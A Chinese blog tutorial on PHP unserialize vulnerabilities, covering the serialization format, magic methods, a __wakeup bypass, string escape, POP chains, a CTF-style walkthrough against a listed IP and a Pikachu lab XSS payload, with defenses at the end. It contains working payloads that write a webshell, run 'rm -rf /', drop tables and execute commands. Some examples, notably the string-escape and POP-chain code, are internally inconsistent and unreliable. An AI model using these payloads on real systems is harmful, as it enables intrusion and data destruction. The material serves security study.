unserialize反序列化漏洞
本文最后更新于40 天前,其中的信息可能已经过时,如有错误请发送邮件到1416359402@qq.com

主要以PHP为主

什么是序列化与反序列化

序列化(serialize) 就将对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区 【将状态信息保存为字符串】。将对象转换为字符串,以便存储或传输,简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中

反序列化(unserialize) 就是把序列化之后的字符串在转化为对象。

其实这个就像游戏存档,存档就是把你游戏用户的状态和数据存储到本地或者服务器 而这个存档就是序列化,读档就是反序列化,就行单机游戏,把存档游戏里面的数据改改,就直接开挂了

序列化 (Serialization)

将对象转换为字符串的过程,便于存储或传输

<?php
class User {
    public $username = 'admin';
    private $password = '123456';
}

$user = new User();
$serialized = serialize($user);
echo $serialized;
// 输出: O:4:"User":2:{s:8:"username";s:5:"admin";s:15:"Userpassword";s:6:"123456";}
?>

反序列化 (Unserialization)

将字符串转换回对象的过程

<?php
$data = 'O:4:"User":2:{s:8:"username";s:5:"admin";s:15:"Userpassword";s:6:"123456";}';
$user = unserialize($data);
echo $user->username; // 输出: admin
?>

为什么会产生反序列化漏洞

当反序列化用户可控的数据时,如果类中存在魔术方法,攻击者可以构造恶意序列化数据来执行任意代码。通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞,质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击

本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

常见语言中的反序列化函数

语言序列化函数反序列化函数
PHPserialize()unserialize()
Pythonpickle.dumpspickle.loads()
JavaObjectOutputStreamObjectInputStream

反序列化漏洞的危害

1.远程代码执行 (RCE)
执行任意系统命令
控制服务器

2.文件操作
读取敏感文件 (/etc/passwd, 配置文件)
写入Webshell
删除重要文件
信息泄露

3.获取数据库密码
窃取用户数据
读取源代码

4.权限提升
绕过身份验证
提升用户权限

5.拒绝服务 (DoS)
消耗服务器资源
导致服务崩溃
攻击者可以通过构造恶意序列化数据,在目标服务器上执行任意操作,完全控制系统。

常用工具

Java反序列化工具YSoSerial.jar

PHP反序列化工具PHPGGC

.NET反序列化工具YSoSerial.NET

PHP 魔法函数

魔法函数调用的时机在反序列化漏洞中的作用示例
__construct()初始化类的时候,一般对于变量进行赋值在反序列化时不会自动调用$obj = new MyClass();
__destruct()对象被销毁时触发(程序结束、unset等)高危 – 常用于执行恶意代码unset($obj); 或脚本结束时
__toString()把类当作字符串使用时触发中危 – 可能触发其他危险方法echo $obj; 或字符串拼接
__wakeup()使用unserialize时触发,反序列化恢复对象之前调用高危 – 反序列化时第一个执行的魔术方法unserialize($data)
__sleep()使用serialize时触发,返回要序列化的属性数组低危 – 主要用于控制序列化内容serialize($obj)
__invoke()当脚本尝试将对象调用为函数时触发中危 – 可能被利用执行代码$obj()
__call()调用不可访问的方法时触发中危 – 可能执行动态代码$obj->undefinedMethod()
__callStatic()调用不可访问的静态方法时触发中危 – 静态方法调用MyClass::undefinedMethod()
__get()读取不可访问的属性时触发低危 – 可能触发信息泄露echo $obj->undefinedProperty
__set()给不可访问的属性赋值时触发低危 – 可能用于属性污染$obj->undefinedProperty = 'value'
__isset()对不可访问的属性调用isset()或empty()时触发低危 – 影响属性检查isset($obj->undefinedProperty)
__unset()对不可访问的属性调用unset()时触发低危 – 影响属性删除unset($obj->undefinedProperty)

序列化过程

类定义

class chybeta{
    var $test = '123';  // 默认属性值
}
  • 定义了一个名为 chybeta 的类
  • 有一个公共属性 test,默认值为 '123'

序列化格式解析:

  • O:7:"chybeta" – O表示object对象,7表示对象名称有7个字符,”chybeta”是对象名称
  • :1: – 表示对象有1个属性
  • {s:4:"test";s:3:"123";} – 花括号内是属性详情
    • s:4:"test" – s表示string字符串,4表示属性名”test”的长度
    • s:3:"123" – s表示string字符串,3表示属性值”123″的长度
O:7:"chybeta":1:{s:4:"test";s:3:"124";}
│  │    │      │  │  │   │    │  │   │
│  │    │      │  │  │   │    │  │   └─ 属性值结束
│  │    │      │  │  │   │    │  └─ 属性值内容"124"
│  │    │      │  │  │   │    └─ 属性值长度3
│  │    │      │  │  │   └─ 属性值类型(string)
│  │    │      │  │  └─ 属性名"test"
│  │    │      │  └─ 属性名长度4
│  │    │      └─ 属性名类型(string)
│  │    └─ 属性数量1
│  └─ 类名"chybeta"
└─ 对象类型标识

反序列化过程

反序列化过程

$class2_unser = unserialize($class2);

PHP执行步骤:

  1. 解析字符串 O:7:"chybeta"
  2. 找到名为 chybeta 的类
  3. 创建 chybeta 类的新实例
  4. 读取属性定义 {s:4:"test";s:3:"124";}
  5. 将属性 test 的值设置为 "124"(覆盖默认值 "123"

输出结果

print_r($class2_unser);

输出:

chybeta Object ( [test] => 124 )

漏洞利用场景

文件操作利用

<?php
class FileExploit {
    public $filename = '../../etc/passwd';
    public $content = '<?php system($_GET["cmd"]); ?>';

    public function __destruct() {
        // 文件写入
        file_put_contents($this->filename, $this->content);

        // 文件读取
        echo file_get_contents('/etc/passwd');

        // 文件删除
        unlink('important_file.php');
    }
}
?>

数据库操作利用

<?php
class DatabaseExploit {
    public $sql = "DROP TABLE users";
    public $host = 'localhost';
    public $user = 'root';
    public $pass = 'password';
    public $dbname = 'test';

    public function __wakeup() {
        $conn = new mysqli($this->host, $this->user, $this->pass, $this->dbname);
        $conn->query($this->sql);
    }
}
?>

命令执行利用

<?php
class CommandExecution {
    public $command = 'rm -rf /';

    public function __destruct() {
        // 直接执行命令
        system($this->command);

        // 通过eval执行
        eval($this->command);

        // 通过反引号执行
        `$this->command`;
    }
}
?>

1.简单的魔法函数绕过

  • 漏洞原理__wakeup()魔法函数在反序列化时自动调用,会重置cmd值
  • 绕过方法:当序列化字符串中对象属性数量大于实际数量时,__wakeup()不会执行
  • 利用payload
<?php
class MagicBypass {
    public $cmd = "cat /flag.txt";  // 或者 type D:phpstudy_proWWWflag.txt
}

echo urlencode(serialize(new MagicBypass()));
// 正常序列化:O:11:"MagicBypass":1:{s:3:"cmd";s:13:"cat /flag.txt";}
// 绕过wakeup:O:11:"MagicBypass":2:{s:3:"cmd";s:13:"cat /flag.txt";}
?>

正常URL访问就行

2.反序列化字符串逃逸

  • 漏洞原理:字符串替换改变了序列化数据的结构,造成属性逃逸
  • 利用方法:通过精心构造序列化字符串,使替换后的字符串长度变化,从而控制后续属性

利用payload

<?php
class StringEscape {
    public $username = 'admin";s:8:"password";s:5:"admin";s:8:"is_admin";b:1;}';
    public $password = 'guest';
    public $is_admin = false;
}

$payload = serialize(new StringEscape());
echo "原始payload: " . $payload . "n";

// 计算需要逃逸的字符数并进行构造
$target = '";s:8:"password";s:5:"admin";s:8:"is_admin";b:1;}';
$replace_count = 6; // "admin"被替换为"guest"减少的字符数

// 构造逃逸payload
$escape_payload = '";s:8:"password";s:5:"admin";s:8:"is_admin";b:1;}' . str_repeat('a', $replace_count);
$final_payload = 'O:12:"StringEscape":3:{s:8:"username";s:' . strlen($escape_payload) . ':"' . $escape_payload . '";s:8:"password";s:5:"guest";s:8:"is_admin";b:0;}';

echo "最终payload: " . $final_payload;
?>
http://192.168.11.1/case1.php?sanjiu=O:12:%22StringEscape%22:3:{s:8:%22username%22;s:65:%22admin%22;s:8:%22password%22;s:5:%22admin%22;s:8:%22is_admin%22;b:1;}aaaaaaaa%22;s:8:%22password%22;s:5:%22guest%22;s:8:%22is_admin%22;b:0;}

3.POP链挖掘

  • POP链原理:通过连接多个类的魔法函数形成攻击链
  • 链式调用:User::wakeup() → FileReader::toString() → file_get_contents()

利用payload

<?php
class FileReader {
    public $filename = '/flag.txt';
}

class Logger {
    public $log_message;
}

class User {
    public $username = 'admin';
    public $profile;
}

// 构造POP链
$user = new User();
$user->profile = new FileReader();

$logger = new Logger();
$logger->log_message = $user->profile;

echo urlencode(serialize($logger));
?>

构造的payload

具体利用方式不同其实还有

  1. 类型混淆:在反序列化过程中,如果程序期望一种类型但实际上得到另一种类型,可能导致逻辑错误,进而被利用。
  2. 注入攻击:反序列化过程中可能注入恶意对象,从而触发魔法函数中的危险操作。

靶场

代码中的System类在__destruct方法中使用了passthru($this->cmd),这意味着如果我们可以控制$cmd属性,就能执行任意系统命令。通过向data参数传递一个序列化的System对象,我们可以触发命令执行。

代码审计

  • System类有一个cmd属性,在__destruct方法中,如果cmd存在且非空,则使用passthru执行该命令。
  • 代码检查$_GET['data'],如果存在,则对其进行反序列化。这允许我们通过控制data参数来实例化一个System对象。
  • 当脚本结束或对象被销毁时,__destruct方法会被调用,从而执行命令。

利用思路

  • 构造一个序列化的System对象,其中cmd属性设置为要执行的系统命令(如列出目录或读取flag文件)。
  • 将序列化字符串URL编码后作为data参数的值发送到目标URL。

漏洞利用过程

确认环境

首先尝试执行一个简单的命令,确认漏洞存在:

Payload生成:

<?php
class System {
    public $cmd;
}

$obj = new System();
$obj->cmd = "whoami";

echo serialize($obj);
?>

URL访问

http://81.70.244.177:34290/?data=O%3A6%3A%22System%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22whoami%22%3B%7D

结果: 返回www-data,确认命令执行成功。

查看目录内容

查看当前目录有哪些文件:

Payload生成:

<?php
class System {
    public $cmd;
}

$obj = new System();
$obj->cmd = "ls -la";

echo serialize($obj);
?>
http://81.70.244.177:34290/?data=O%3A6%3A%22System%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A5%3A%22ls+-la%22%3B%7D

尝试直接读取flag

尝试使用系统命令直接读取flag:

Payload生成:

URL:

http://81.70.244.177:34290/?data=O%3A6%3A%22System%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A11%3A%22cat+flag.txt%22%3B%7D

发现没有回显

可能没有输出或输出被过滤。

使用PHP代码读取文件

Payload生成:

<?php
class System {
    public $cmd;
}

$obj = new System();
$obj->cmd = "php -r 'echo file_get_contents("flag.txt");'";

echo serialize($obj);
?>

URL:

http://81.70.244.177:34290/?data=O%3A6%3A%22System%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A44%3A%22php+-r+%27echo+file_get_contents%28%22flag.txt%22%29%3B%27%22%3B%7D

成功得到flag

Pikachu 漏洞练习平台

在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

        常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用

        漏洞举例:

        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

作者在概述中已经给了payload直接使用

 payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

防御措施

1永远不要反序列化不可信的数据
2使用JSON等安全格式替代PHP序列化
3实施严格的输入验证和签名机制
4限制可反序列化的类(allowed_classes)
5在魔法函数中避免执行危险操作,过滤、禁用危险函数
6定期进行安全审计和代码审查
7使用Web应用防火墙检测恶意序列化数据
8过滤T3协议或限定可连接的IP
9设置Nginx反向代理,实现t3协议和http协议隔离

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇